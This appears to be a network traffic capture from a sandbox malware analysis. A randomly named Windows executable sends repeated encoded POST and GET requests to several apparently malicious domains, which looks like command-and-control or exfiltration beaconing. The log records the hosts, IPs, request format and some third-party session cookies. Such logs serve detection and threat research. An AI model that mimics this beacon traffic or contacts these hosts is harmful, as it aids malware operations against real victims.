Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:37.648211002 CEST	1812	OUT	POST /al6z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Content-Length: 1243 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.linkwave.cloud/al6z/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 59 54 71 74 69 44 6f 6f 77 42 63 70 4d 57 6c 70 63 4d 30 74 65 41 44 54 58 74 71 36 52 4e 79 56 55 35 46 54 33 77 42 68 44 38 2f 67 59 77 7a 59 51 37 36 66 43 7a 58 33 63 76 56 32 54 6d 65 38 78 59 58 35 47 36 36 4e 7a 44 49 6c 61 37 76 33 70 36 75 63 34 4f 67 50 66 63 54 30 4e 52 75 61 32 59 68 53 6b 63 53 51 46 47 49 70 77 76 71 67 6b 6d 6e 74 35 2f 33 48 47 53 68 31 4b 32 77 6b 67 49 42 67 67 6c 68 4d 51 6c 57 37 37 4b 59 70 7a 55 59 6e 63 62 66 7a 78 61 42 70 78 6d 6d 6c 4e 69 70 2b 42 75 4d 59 48 37 33 31 46 47 6c 4b 4b 39 4b 49 7a 71 46 66 79 48 7a 59 78 6f 36 31 66 55 6e 70 69 68 7a 49 34 6c 39 66 4d 46 49 63 2f 2f 67 49 42 2b 6e 72 6b 53 75 4a 61 6d 55 6b 30 6c 4a 4c 53 67 54 33 47 59 7a 71 4c 4d 41 55 72 64 4a 7a 34 72 38 59 71 6d 31 32 70 56 4c 41 43 44 76 6f 56 6b 31 7a 66 30 45 67 2f 70 58 78 48 79 41 43 59 69 4c 65 75 42 32 4f 4d 79 6c 6c 73 32 2b 57 55 75 77 52 68 59 74 62 4d 69 35 6d 6f 30 48 74 49 31 37 75 58 54 56 67 73 2f 49 35 64 63 75 7a 66 53 57 4e 54 2f 4e [TRUNCATED] Data Ascii: vf5pwn=YTqtiDoowBcpMWlpcM0teADTXtq6RNyVU5FT3wBhD8/gYwzYQ76fCzX3cvV2Tme8xYX5G66NzDIla7v3p6uc4OgPfcT0NRua2YhSkcSQFGIpwvqgkmnt5/3HGSh1K2wkgIBgglhMQlW77KYpzUYncbfzxaBpxmmlNip+BuMYH731FGlKK9KIzqFfyHzYxo61fUnpihzI4l9fMFIc//gIB+nrkSuJamUk0lJLSgT3GYzqLMAUrdJz4r8Yqm12pVLACDvoVk1zf0Eg/pXxHyACYiLeuB2OMylls2+WUuwRhYtbMi5mo0HtI17uXTVgs/I5dcuzfSWNT/NNuDMMoVMLcrwC5XhCIPon0rDIqwVTadhl5OHQ2SfxevCMl20e9eGYgndSvsrQcTAnIKIg2XyX7rVhGRChLG362Fc8m/i1mk3BBpTSLSf+UhD89pt4a6HuFA9ZUIMYTG/y9UvtqvZRq9wtoEaS/RWqvDUTg1WJDdOh4TV2G+nYSBe+8akrsvzMwrvtNu5QbDik9+Qn3LC0kqixZpLMA6HqIEQhuUvmzLECABwDVsDvt5WpnIJqBbB8Q7C1c4RPq6sNN4qV6TeXxIgaQDIpejimcFwSdwXtSf/4d/r2JT7Na8q96SJ8wBXguZckybjY5bZQ1xBvMYRMA55CWyDMIvjlFgwGvdqhc/FcRGwcbZ9RcaIVYX9EYfz6wW5DL66OpLX+lRw1Uv8/oLlccDdHZDZCv25QGNmpTLcpiLoM8mQ7tDPYNE4JawUtB/lE0AhKn3C7A8LO21k1mRevRNZICjSbxe4EaMLcQqosVb4CDnWZAoqomq6R8KqkVn9dcoZviHXIziTYhns1lqvgA8ZrhCpWu6VtL2WrIQcQWuFJI/4Cv0XjLLl/oAwevbrJhBN+Lu3JhvSmNknZ+SNN5DcTxX2irmkTO+QqVG5BcvokE/TsxaSbeKknOk+R1kKQ9NfBavINIOoy0FIrucWPRF92CVI0blok3GGFj567N [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49739	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:40.196541071 CEST	525	OUT	GET /al6z/?lHul=nfQTqL40vDEpIp30&vf5pwn=VRCNh0NW0GgzXjJ+E9kBcAqzCeGDRYuLK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cpu7tsWuW3JQaVwptT6evyL2oGhO/bgF+68v7eWhteCSlc6A== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.linkwave.cloud Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 26, 2024 15:24:40.651166916 CEST	416	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 26 Sep 2024 13:24:40 GMT Content-Type: text/html Content-Length: 276 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6c 48 75 6c 3d 6e 66 51 54 71 4c 34 30 76 44 45 70 49 70 33 30 26 76 66 35 70 77 6e 3d 56 52 43 4e 68 30 4e 57 30 47 67 7a 58 6a 4a 2b 45 39 6b 42 63 41 71 7a 43 65 47 44 52 59 75 4c 4b 36 67 69 2f 33 31 4f 49 2f 48 4c 56 7a 33 65 64 4c 4f 46 50 67 66 42 57 49 49 46 49 31 79 76 34 4b 6e 48 64 5a 2f 42 79 43 41 64 52 72 4f 77 32 39 43 70 75 37 74 73 57 75 57 33 4a 51 61 56 77 70 74 54 36 65 76 79 4c 32 6f 47 68 4f 2f 62 67 46 2b 36 38 76 37 65 57 68 74 65 43 53 6c 63 36 41 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?lHul=nfQTqL40vDEpIp30&vf5pwn=VRCNh0NW0GgzXjJ+E9kBcAqzCeGDRYuLK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cpu7tsWuW3JQaVwptT6evyL2oGhO/bgF+68v7eWhteCSlc6A=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49740	85.153.138.113	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:45.915941954 CEST	769	OUT	POST /3lu7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mfgarage.net Origin: http://www.mfgarage.net Content-Length: 207 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mfgarage.net/3lu7/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 71 78 2b 49 63 70 55 41 39 6a 30 70 74 6e 67 58 65 67 70 41 34 64 79 48 31 67 48 31 72 36 56 36 45 4a 50 55 67 71 51 71 34 6c 41 58 66 66 51 62 30 4e 45 54 69 59 53 52 51 79 48 31 34 69 4e 34 4a 70 45 49 78 4f 65 53 6f 75 51 59 6e 35 48 6e 4e 69 46 62 52 49 61 72 65 46 46 73 56 6e 67 4c 32 58 50 46 56 72 6e 47 59 43 51 7a 58 68 63 6b 56 32 77 35 66 46 35 65 4f 58 2b 2f 64 39 36 67 68 36 41 4a 4e 32 4d 68 44 6c 33 70 58 67 4f 76 54 58 70 79 58 2f 46 61 65 52 37 64 44 62 6c 63 64 47 62 30 34 6a 46 71 47 70 6a 6c 6d 6d 76 65 63 53 62 2f 53 54 46 74 58 5a 54 30 67 55 2b 6d 47 64 67 7a 33 32 45 3d Data Ascii: vf5pwn=qx+IcpUA9j0ptngXegpA4dyH1gH1r6V6EJPUgqQq4lAXffQb0NETiYSRQyH14iN4JpEIxOeSouQYn5HnNiFbRIareFFsVngL2XPFVrnGYCQzXhckV2w5fF5eOX+/d96gh6AJN2MhDl3pXgOvTXpyX/FaeR7dDblcdGb04jFqGpjlmmvecSb/STFtXZT0gU+mGdgz32E=
Sep 26, 2024 15:24:46.626456976 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=4; Domain=.sahibinden.com; Expires=Sun, 26-Sep-2027 13:24:46 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=NHg4BqL7wDHwBOu066f5609e; Domain=.sahibinden.com; Expires=Sun, 26-Sep-2027 13:24:46 GMT; Path=/; Secure; SameSite=None set-cookie: csss=SAK8pcFeK0h0ZNnnTb4oj1KbqYU-kVZeJWadpNDPtZnk5Yfd-abH3vhqOyzh50WGBAU-dj8cOTAuHIXot8mkMw; Domain=.sahibinden.com; Expires=Thu, 26-Sep-2024 13:54:46 GMT; Path=/; Secure; SameSite=None set-cookie: csls=6ycNnU58-QJSkYk1yuY0skxgM5-ErPYxJD9lyyF1Lw3XPtCbVQ70Zxk2siwKkZyIatPnGqGBHC_p-cRSPbdhsQ; Domain=.sahibinden.com; Expires=Fri, 26-Sep-2025 13:24:46 GMT; Path=/; Secure; SameSite=None set-cookie: csid=GkGDpr9nQmiS0sQJx7yc2BWX0aqgg61q5QvyQK2U-JxnR61g4_WMwt16S31DmjRhrg_FkOIImOeU0HdZXpnkiGgZYn_oZkQsxAjdG1g9PT-F9FM5cWUSlLE_JnpzS7XTZRtXweClVL2Y7oXHUWcLh0cKuEGa3g4nzhuFCSXSAPStUexRpumW_EXDHrVQHu0p8fBDvGiryQa3Ox5svL9H8VopznG7VBWWIlYS1igtEogL4qybQJXeS-6S0XA1JRhnRRV0cbHRFA8OBZAzblR3xdLykpggxtoOytSZXyJKAOgGruVXfXUHxj7p6T6ZVJHP6KupuhpaE7-M Data Raw: Data Ascii:
Sep 26, 2024 15:24:46.626894951 CEST	404	IN	Data Raw: 73 34 34 77 51 4f 71 50 55 39 68 67 4e 69 32 61 32 6b 4e 30 6c 54 70 2d 78 36 4b 64 68 32 74 78 5f 58 55 65 39 65 42 6b 72 77 7a 41 6d 4d 56 6f 33 77 38 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 69 72 Data Ascii: s44wQOqPU9hgNi2a2kN0lTp-x6Kdh2tx_XUe9eBkrwzAmMVo3w8; Domain=.sahibinden.com; Expires=Thu, 26-Sep-2024 13:39:46 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfga

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49741	85.153.138.113	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:48.466774940 CEST	789	OUT	POST /3lu7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mfgarage.net Origin: http://www.mfgarage.net Content-Length: 227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mfgarage.net/3lu7/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 71 78 2b 49 63 70 55 41 39 6a 30 70 75 48 51 58 62 44 78 41 35 39 79 45 36 41 48 31 68 61 56 2b 45 4a 54 55 67 76 38 36 34 58 55 58 66 2b 67 62 31 50 67 54 68 59 53 52 66 53 48 70 31 43 4e 7a 4a 70 59 41 78 4c 2b 53 6f 75 45 59 6e 38 6a 6e 4e 52 74 59 54 59 61 6c 54 6c 46 69 52 6e 67 4c 32 58 50 46 56 72 79 72 59 43 49 7a 58 77 73 6b 55 54 4d 36 57 6c 35 5a 47 33 2b 2f 5a 39 36 73 68 36 41 72 4e 33 67 50 44 6e 50 70 58 6b 4b 76 54 47 70 7a 64 2f 46 51 51 78 36 65 4b 5a 49 34 61 56 33 6a 38 7a 41 7a 56 61 58 35 75 77 43 30 47 77 54 58 42 7a 70 56 48 4b 62 44 78 6b 66 50 63 2b 77 44 70 68 51 36 56 57 4f 44 5a 4f 74 56 2b 64 71 4b 64 4e 71 69 47 79 68 6e Data Ascii: vf5pwn=qx+IcpUA9j0puHQXbDxA59yE6AH1haV+EJTUgv864XUXf+gb1PgThYSRfSHp1CNzJpYAxL+SouEYn8jnNRtYTYalTlFiRngL2XPFVryrYCIzXwskUTM6Wl5ZG3+/Z96sh6ArN3gPDnPpXkKvTGpzd/FQQx6eKZI4aV3j8zAzVaX5uwC0GwTXBzpVHKbDxkfPc+wDphQ6VWODZOtV+dqKdNqiGyhn
Sep 26, 2024 15:24:49.257050991 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=366; Domain=.sahibinden.com; Expires=Sun, 26-Sep-2027 13:24:49 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=DkvsQmOvgvhnznmI66f560a1; Domain=.sahibinden.com; Expires=Sun, 26-Sep-2027 13:24:49 GMT; Path=/; Secure; SameSite=None set-cookie: csss=pZTApRTrzbtQ9MxS-jIiKifC2OJ9dacAx8SBJKM1sN7_wNP_9dnN4CXiv18Fg4QbLW7ZBiyQibE2-H5S7Gjj1g; Domain=.sahibinden.com; Expires=Thu, 26-Sep-2024 13:54:49 GMT; Path=/; Secure; SameSite=None set-cookie: csls=-pvdtGI6HGsFN4gyUDuIw6EhvXWyQMgVHEuKghVGqJjmZAkLUXIHxm_kp9cQAeT9-0-IY93KsdL66kVi9gLS1g; Domain=.sahibinden.com; Expires=Fri, 26-Sep-2025 13:24:49 GMT; Path=/; Secure; SameSite=None set-cookie: csid=59OzB0Tlwb_G5hvaR_KZ01R8cW7VLWa-HixXLInE3_pjFka7KYa0Xd0zV89Ts8lbOrd_mgnnP4s6uO582nRgW-l0agUty6MyT80Pzrg87jhvkYHACUWh5nXDPXjKpAAdbHenJ6PGhdaZLYaeTC0IFZfAom5D2Dnb-6EN2XFW33-iKrAYdSDQw0X1SzQh0AfCtNjJCFZVEFT7NUY9Ev-hzgZ6H3IphiH8bZkplUxZxwsofFyVVWTqwzpL44at8bu-EU4czpyj9q-TnjGHyF0pbJojw-8axrlGLZn9FEFw24fJku9QUU9Rj4aOxiKLh4o2QXA_x_Wjck Data Raw: Data Ascii:
Sep 26, 2024 15:24:49.258821964 CEST	406	IN	Data Raw: 46 4d 69 58 72 6e 42 58 33 35 58 65 39 73 5a 62 6a 51 36 59 61 36 4b 67 54 57 43 66 49 56 7a 72 47 76 39 48 38 42 4f 6f 7a 56 4e 4d 4c 74 71 4c 42 31 53 64 33 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 Data Ascii: FMiXrnBX35Xe9sZbjQ6Ya6KgTWCfIVzrGv9H8BOozVNMLtqLB1Sd3; Domain=.sahibinden.com; Expires=Thu, 26-Sep-2024 13:39:49 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49742	85.153.138.113	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:51.057895899 CEST	1806	OUT	POST /3lu7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mfgarage.net Origin: http://www.mfgarage.net Content-Length: 1243 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mfgarage.net/3lu7/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 71 78 2b 49 63 70 55 41 39 6a 30 70 75 48 51 58 62 44 78 41 35 39 79 45 36 41 48 31 68 61 56 2b 45 4a 54 55 67 76 38 36 34 58 4d 58 66 73 34 62 31 76 63 54 67 59 53 52 57 79 48 71 31 43 4e 71 4a 70 51 45 78 4c 7a 76 6f 71 30 59 68 61 76 6e 4c 67 74 59 5a 59 61 6c 61 46 46 6a 56 6e 67 6b 32 57 2b 4e 56 72 69 72 59 43 49 7a 58 79 30 6b 64 6d 77 36 51 6c 35 65 4f 58 2b 4a 64 39 36 41 68 36 59 52 4e 33 55 78 57 44 7a 70 5a 67 75 76 65 51 39 7a 65 66 46 65 54 78 36 38 4b 5a 45 6e 61 56 72 5a 38 77 63 5a 56 61 2f 35 2b 58 48 31 46 51 54 76 44 44 70 71 56 61 33 46 74 77 50 53 62 2f 38 56 74 52 51 35 49 69 47 65 65 4a 4d 54 31 4a 37 7a 42 35 6d 50 4f 33 30 53 4c 43 6e 63 4b 62 50 31 58 46 69 68 50 33 2b 65 75 72 35 4c 67 68 50 46 50 72 6f 47 33 62 6f 49 53 37 32 34 38 37 44 32 6f 66 33 64 56 52 6a 37 49 64 35 5a 6f 4d 62 33 6d 4e 51 6f 7a 42 70 30 4d 41 64 2f 2f 51 72 52 53 47 34 73 63 5a 72 30 65 4a 54 74 4c 36 48 48 47 36 46 39 5a 38 2b 57 6c 63 4b 62 44 76 50 6a 36 45 30 58 6b 31 61 [TRUNCATED] Data Ascii: vf5pwn=qx+IcpUA9j0puHQXbDxA59yE6AH1haV+EJTUgv864XMXfs4b1vcTgYSRWyHq1CNqJpQExLzvoq0YhavnLgtYZYalaFFjVngk2W+NVrirYCIzXy0kdmw6Ql5eOX+Jd96Ah6YRN3UxWDzpZguveQ9zefFeTx68KZEnaVrZ8wcZVa/5+XH1FQTvDDpqVa3FtwPSb/8VtRQ5IiGeeJMT1J7zB5mPO30SLCncKbP1XFihP3+eur5LghPFProG3boIS72487D2of3dVRj7Id5ZoMb3mNQozBp0MAd//QrRSG4scZr0eJTtL6HHG6F9Z8+WlcKbDvPj6E0Xk1aJqq23i4magDHQkuCO15qQloDycIfHT+hWEBa/F3kJJJaR0WPu0Fsvnf8tCFLQrPwYRciMXTSYo6+8ok+8EkaPod0KgNrQRuLE+fzEk+U8kKF/5aqFemJnHe7mbHsdEHLWoQy6LmPBVN+fs+9+lbiiAaHT7HkFehI/Ibq6CkTT+FI0WVsH39B47bB03/5A4NbnE/XpJjboiRkhglXlgaYHwQt1dBRKL8ommi1pqPuX6mGClYqaIdYxXipWbKQ81uwSGuMzChI865QtEem0XaCNn7v9ZZSrsXvfoiY9rEtT6b/BHYZOX41FgmoTWmYFj2TJppOgKSNm8HADstSwB9WjZKJdVDhWgqrbTNNHJmvgkgE0geZ+jiFafkK7M4wugg02GCjosYg+J6TJwb0uMIVCneEOER1PSCFSZACIVswiOCT8uRaBNiwzH0AM7IwtzLiF+g+KHWBgiXbd0oBYWqZjxbnOdElDT8C0jUI+N45cdAOnERMtEoOzVD/F3yVP1s7PA9zAxFi2qe6aVKjeYzKfhGHabKfWh5jV3XVTV6fTjewC5qqljcvGfNhw8iiLvqCJo+LNAvo76gUDyEx3J78YB6RqqAh0aXcHRfCtoI1A56x9OpSpAYGpuCTtPwLk50XxzcnFT75tCsACF0fBKYgfwrYrqjuZf+OVz [TRUNCATED]
Sep 26, 2024 15:24:51.979511023 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=914; Domain=.sahibinden.com; Expires=Sun, 26-Sep-2027 13:24:51 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=MWSV1rK07ApLeHVO66f560a3; Domain=.sahibinden.com; Expires=Sun, 26-Sep-2027 13:24:51 GMT; Path=/; Secure; SameSite=None set-cookie: csss=rGiFgeWcMo7hdE21j7f5X4WgoUteT_D-AhHHu4QI42cq2HPEYjhWqpNCaw3jLycyHWDIZ0bDmpOj7XqZpqXQhg; Domain=.sahibinden.com; Expires=Thu, 26-Sep-2024 13:54:51 GMT; Path=/; Secure; SameSite=None set-cookie: csls=eToZDYQHwifnpV-wtGHaBdm83Jl2RVu_wcOvQCz3W4viCW4UQ_9rSnqd-UTLBbUydvHoXSE6xEo57D6lmyBAfg; Domain=.sahibinden.com; Expires=Fri, 26-Sep-2025 13:24:51 GMT; Path=/; Secure; SameSite=None set-cookie: csid=TeAlEEGGm51SKWXsoCvmtYHZj0UHqJ8VFFpcW9sWZLaC8SRj4kj8jkBD10aiqlJKLqbkz6p-4J8CgieUOe7CtJsyQAJjIsApX-zQmTL1-xm1aQTcoxaqZlxOj4fnOd1E4_nMHX5kpOxG2u-j-vpFHN7Op0zL0Mmf45oYGfflUTd4sXmTE--ciNg9y93dkXFV6ohHiCXv5XTmCYr4L63aFgQdE_8liL0lZMoJIzH1hDqJltY-DaUYNI5qt4ZiPKs9ArwuvXLp3eGND8czUPRpp_0C5jmgn6GqjSbuMV3zr0Yg4vI68GqUTVeCVR6wizDryjXSLWDed- Data Raw: Data Ascii:
Sep 26, 2024 15:24:51.979636908 CEST	407	IN	Data Raw: 45 64 69 4f 52 36 63 35 38 4e 58 4e 6a 78 68 57 61 46 47 6e 48 79 6c 4e 4f 45 63 31 57 46 52 34 42 4e 30 7a 44 74 6d 6c 58 65 46 46 57 33 61 7a 54 52 58 62 79 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 Data Ascii: EdiOR6c58NXNjxhWaFGnHylNOEc1WFR4BN0zDtmlXeFFW3azTRXby; Domain=.sahibinden.com; Expires=Thu, 26-Sep-2024 13:39:51 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49743	85.153.138.113	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:53.900444984 CEST	523	OUT	GET /3lu7/?vf5pwn=nzWofdhWpyQTuQkAURoZiOuSpDDcsuZ4SJ26h7kwykQFM8AQx5IfrLSrYivs6QFJHI8FrKvcoPkOi5L1XFRCJcPncARSRGAtt0+HcJ3GcQEnXiNUfFJGdHJ4JUWSbdHV9w==&lHul=nfQTqL40vDEpIp30 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mfgarage.net Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 26, 2024 15:24:54.665582895 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=906; Domain=.sahibinden.com; Expires=Sun, 26-Sep-2027 13:24:54 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=59akPmAiju8VRke566f560a6; Domain=.sahibinden.com; Expires=Sun, 26-Sep-2027 13:24:54 GMT; Path=/; Secure; SameSite=None set-cookie: csss=FP3wKNEC8_6UcTj_kLzrzmPhlH1kv2JQVy-_RBTNrE5mhqBDrBKC0x9wrkRmqKxiE3IKQ66VNUgn4TU0-O69PQ; Domain=.sahibinden.com; Expires=Thu, 26-Sep-2024 13:54:54 GMT; Path=/; Secure; SameSite=None set-cookie: csls=1KvE0CsvVmc6T3KV_KWQlOGccDjoNjP8fgpBeI4UCTiGnRfuwFGmI0bwc_8T5NjwkWJrxeCSSrwGGoOIjPAW1g; Domain=.sahibinden.com; Expires=Fri, 26-Sep-2025 13:24:54 GMT; Path=/; Secure; SameSite=None set-cookie: csid=xCfm_eqbvUNNVgLiYquRyXgKWpzqAFoev_NQZjQgoPZlnUYj6sR98IItbPeZQ6k69PcyQxzKHxnDH-WDbQSPf-lR9WkpbgIY2I6yEtBOOe1QyNrsbsgvb5cbUI4gD21bSiCcwOvFMquTJgpOtlsGrXePzlGDSLLNmGlccI4mlb14vcQKko_GTf0c644Mvt2uLSWTNW-2WdRBdoy7L9JcvLt7AcAJ8MwU-J89RUGAO1cnZ6pzQ3vmbdKzXJo4d6jsWj2Q1KdrIaBYT-OzHCPdlCJwgynz_t3Y8tlJ7S3iSXJ80qhhB_92spxi7MdLZ31R7MRqQzXuJZ Data Raw: Data Ascii:
Sep 26, 2024 15:24:54.666361094 CEST	583	IN	Data Raw: 33 6e 4a 43 57 5a 5a 34 61 55 61 57 71 31 52 61 65 78 59 5a 75 4e 49 7a 70 6f 2d 32 46 32 7a 61 78 32 61 38 43 43 48 59 6d 7a 76 6d 69 6d 38 64 6a 71 56 7a 72 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 Data Ascii: 3nJCWZZ4aUaWq1RaexYZuNIzpo-2F2zax2a8CCHYmzvmim8djqVzr; Domain=.sahibinden.com; Expires=Thu, 26-Sep-2024 13:39:54 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49744	172.67.165.25	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:59.838757038 CEST	772	OUT	POST /zznj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.b5x7vk.agency Origin: http://www.b5x7vk.agency Content-Length: 207 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.b5x7vk.agency/zznj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 61 50 58 36 63 68 65 4c 6d 4f 73 63 6d 6c 34 53 35 37 43 2b 76 61 6b 7a 7a 52 77 7a 54 4f 35 6e 36 49 54 37 69 37 54 54 76 52 69 52 42 69 7a 36 79 5a 4f 44 66 38 45 4f 79 31 37 34 48 72 78 71 50 58 38 66 32 41 50 6e 72 2b 33 4d 4f 54 41 45 4b 71 32 71 55 32 32 45 30 6c 62 72 69 69 34 56 37 61 43 6f 4a 4e 38 47 37 51 71 57 5a 42 6c 58 36 68 53 4c 6a 67 56 34 54 35 58 65 69 57 4f 62 76 30 57 64 59 6f 67 59 36 52 52 62 30 6a 35 61 6b 36 53 75 4d 55 2b 38 53 34 49 64 32 53 6f 57 44 77 69 6a 39 59 38 6f 56 51 51 41 35 50 4c 37 36 42 43 41 44 6d 74 58 65 65 4b 32 50 34 51 50 43 76 75 68 46 30 59 3d Data 